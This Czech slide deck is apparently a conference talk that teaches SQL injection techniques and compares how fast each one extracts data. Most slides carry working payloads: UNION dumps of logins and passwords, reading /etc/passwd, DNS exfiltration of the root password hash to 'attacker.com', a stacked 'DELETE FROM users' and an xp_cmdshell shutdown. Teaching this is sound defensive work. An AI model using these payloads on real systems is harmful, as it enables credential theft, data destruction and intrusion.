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SQL injection 
jak ji možná neznáte 



Výskyt 
 První zmínky o SQL injekci pochází z roku 1998 

 Ani po ti letech není situace uspokojivá 

 Zranitelností SQL injection trpí v současné době 

stále přibližně 20% webových a jiných aplikací 



Rychlokurz SQL 
 Data jsou na SQL serveru uložena v databázích / tabulkách 

 Každá tabulka se skládá ze sloupců určitých datových typů 

 

 

 

 

 

 

 SQL jazyk disponuje příkazy pro práci s daty INSERT, SELECT, UPDATE, DELETE, … 

 

login name password email 

pepa Josef Štědrý 955db0b81ef1989b4 pepa@mail.com 

drvostep Jan Novotný b8c20d3ab88e1133 j.novo@mail.com 

hydra Hydra Stará 6a284155906c26cb hydra@mail.eu 

SELECT * FROM users WHERE login = ‘pepa‘ 



SQL injekce aneb WTF? 

SELECT * 

FROM users 

WHERE (login = ‘admin‘)-- ‘) AND (pass=‘…‘) 

SELECT * 

FROM users 

WHERE (login = ‘$login‘) AND (pass=‘$pass‘) 



SQL injekce má mnoho tváří 
 

 UNION-based SQL injection 

 ERROR-based SQL injection 

 BOOLEAN-based SQL injection 

 TIME-based SQL injection 

 

 



UNION-based SQL injection 
 Výsledky dotazů jsou zobrazovány na 

monitoru 

 Lze připojovat různé tabulky 

 Útočníkovi stačí vhodně se zeptat,        

a databáze vydá veškerý svůj obsah 

SELECT * FROM messages 

WHERE iduser = 0  UNION ALL SELECT login, pass FROM users 

SELECT * FROM messages WHERE iduser = $iduser 



Zranitelné nemusí být pouze WHERE 

  SELECT * 

  FROM zbozi 

  WHERE nazev = ‘$query‘ 

  ORDER BY $order 

  LIMIT $count,$from 

SELECT * FROM zbozi WHERE nazev = ‘‘ LIMIT 0,10  

UNION ALL SELECT login, pass FROM users 

SELECT * FROM zbozi WHERE nazev = ‘‘ LIMIT 0,10  

  UNION ALL SELECT login, pass FROM users-- ,10 



Boolean-based SQL injection 
 

„Vím, že mi to nemůžeš říct. Tak jen pokývej hlavou, pokud mám pravdu.“ 
 

 Výstup dotazu se nezobrazuje ve formě textu na monitoru 

 Výsledek je ale přesto na monitoru rozpoznatelný 

 Je možné se pouze ptát, zda máme / nemáme pravdu 

 Většinou dolujeme data po jednotlivých znacích 

                    Začíná heslo administrátora na „A“ ? 



Boolean-based SQL injection 

SELECT * FROM zbozi WHERE nazev = ‘‘ 

ORDER BY IF(podmínka, nazev, cena) 

ORDER BY (SELECT CASE WHEN podmínka THEN nazev ELSE cena END) 

 

Podmínka: 

((SELECT count(*) FROM users WHERE login = ‘admin‘ AND pass LIKE ‘a%‘)>0) 

 

SELECT * FROM users 

WHERE (login = ‘user‘) AND podmínka -- )‘ AND (heslo=‘‘) 



Nejen SELECT dokáže promluvit 

UPDATE users SET name = ‘$name‘ WHERE iduser = $iduser 

UPDATE users SET name = ‘‘ OR podmínka ‘‘ WHERE iduser = 10 AND podmínka 

INSERT INTO users(name, login, pass) VALUES (‘$name‘, ‘$login‘, ‘$pass‘) 

INSERT INTO users(name, login, pass) VALUES (‘‘ OR podmínka ‘, ‘login‘, ‘hash‘) 

DELETE messages WHERE idmess = 10 AND podmínka 



TIME-based SQL injection 
 

 Výsledek dotazu se nijak neprojevuje na grafickém výstupu 

 Vhodným využitím logických operátorů lze přesto dosáhnout výsledku 

 AND má při vyhodnocování výrazu přednost 

 Nejprve se vyhodnocuje levá strana 

 Pravá strana se vyhodnocuje pouze 

     v případě pravdivosti levého výrazu 

podmínka AND sleep(10) 

UPDATE statistics SET views = views + 1 WHERE url = ‘$url‘ 



Jak rozmluvit mlčenlivé 

SELECT * FROM users 

WHERE login = ‘‘ OR ‘a‘=‘a‘ INTO OUTFILE ‘/var/www/myweb/users.txt‘ -- ‘ AND pass=‘‘ 

 Ukládáme data do souboru 

 

 

 

 

 

 Vyvoláváme chyby 

 

 Přenášíme data přes DNS 



Error-based SQL injection 

SELECT * FROM users 

WHERE login = ‘‘ OR ~0+!(SELECT * FROM (SELECT database())x)-- ‘ AND pass=‘‘ 

SELECT * FROM users WHERE login = ‘‘ OR (select 1 from (select count(*), concat(user(), 

floor(rand(0)*2))x from information_schema.tables group by x) a)-- ‘ AND pass=‘‘ 

To jsem neměl říkat, 

to jsem fakt neměl říkat... 

 Double query injection 

 

 BIGINT Overflow 



LOAD_FILE a DNS 

SELECT * FROM zbozi 

WHERE nazev = 'xxx' UNION ALL SELECT LOAD_FILE('/etc/passwd')-- 

SELECT * FROM zbozi 

WHERE nazev = 'xxx' UNION ALL SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password 

FROM mysql.user WHERE user='root‚ LIMIT 1),'.attacker.com\\foobar'))-- 

Každá subdoména může mít až 63 znaků, celek pak až 248 znaků 



Porovnání jednotlivých metod 

Metoda Počet requestů Čas (sec) 

Union-based 3 1 

Error-based 777 9 

DNS exfiltration 1 409 35 

Boolean-based 29 212 214 

Time-based 32 716 17 720 

Uvedené hodnoty byly naměřeny při získávání obsahu tabulky information_schema.COLLATIONS o velikosti cca 4KB. 



Tímto to rozhodně nekončí 
 

 DoS 

 

 

 Řetězení příkazů 

 

 

 Spouštění stored procedur 

 

 

 a další…  

SELECT * FROM zbozi WHERE nazev = 'xxx' UNION ALL SELECT BENCHMARK(10000, MD5(‘test‘))-- 

SELECT * FROM zbozi WHERE nazev = 'xxx'; DELETE FROM users -- 

SELECT * FROM zbozi WHERE nazev = 'xxx'; exec master.dbo.xp_cmdshell ‘shutdown -t 0 -s’-- 



Nástroje 
 

 SQLmap 

 SQL ninja 

 Havij 

 Sculptor 

 a další… 
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